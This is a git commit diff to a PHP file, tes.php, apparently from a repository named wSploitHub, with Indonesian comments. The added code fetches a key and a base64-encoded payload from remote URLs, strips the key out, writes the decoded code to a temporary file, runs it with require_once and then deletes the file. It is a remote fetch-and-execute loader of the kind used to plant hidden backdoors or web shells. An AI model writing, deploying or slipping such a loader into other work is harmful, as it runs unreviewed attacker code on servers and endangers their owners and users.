Update tes.php
This commit is contained in:
parent
80faeb2ab2
commit
e361c283b3
35
tes.php
35
tes.php
@ -12,16 +12,43 @@ function get_contents($url) {
|
|||||||
return $result;
|
return $result;
|
||||||
}
|
}
|
||||||
|
|
||||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/tes';
|
// URL untuk mengambil hash key MD5
|
||||||
$encoded_code = get_contents($url);
|
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
|
||||||
|
// URL atau path ke file yang berisi kode terenkripsi
|
||||||
|
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payloaden';
|
||||||
|
|
||||||
|
// Ambil hash key dari URL
|
||||||
|
$keyHash = trim(get_contents($hashUrl));
|
||||||
|
if (empty($keyHash)) {
|
||||||
|
die("Gagal mengambil hash key dari URL.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ambil kode terenkripsi dari URL
|
||||||
|
$encoded_code = get_contents($codeUrl);
|
||||||
|
if (empty($encoded_code)) {
|
||||||
|
die("Gagal mengambil kode terenkripsi dari URL.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dekripsi kode
|
||||||
$decoded_code = base64_decode($encoded_code);
|
$decoded_code = base64_decode($encoded_code);
|
||||||
|
|
||||||
|
// Debugging - tampilkan kode yang didekripsi untuk memastikan
|
||||||
|
// echo "<pre>"; var_dump($decoded_code); echo "</pre>"; exit; // Uncomment untuk debugging
|
||||||
|
|
||||||
|
// Hapus key hash di dalam kode
|
||||||
|
$clean_code = str_replace($keyHash, '', $decoded_code);
|
||||||
|
|
||||||
|
// Debugging - tampilkan hasil kode yang sudah dibersihkan
|
||||||
|
// echo "<pre>"; var_dump($clean_code); echo "</pre>"; exit; // Uncomment untuk debugging
|
||||||
|
|
||||||
|
// Simpan kode sementara ke file temporer
|
||||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||||
file_put_contents($tempFile, $decoded_code);
|
file_put_contents($tempFile, $clean_code);
|
||||||
|
|
||||||
|
|
||||||
|
// Eksekusi kode secara langsung tanpa menampilkan key
|
||||||
require_once $tempFile;
|
require_once $tempFile;
|
||||||
|
|
||||||
|
// Hapus file temporer setelah eksekusi
|
||||||
unlink($tempFile);
|
unlink($tempFile);
|
||||||
|
|
||||||
?>
|
?>
|
Loading…
Reference in New Issue
Block a user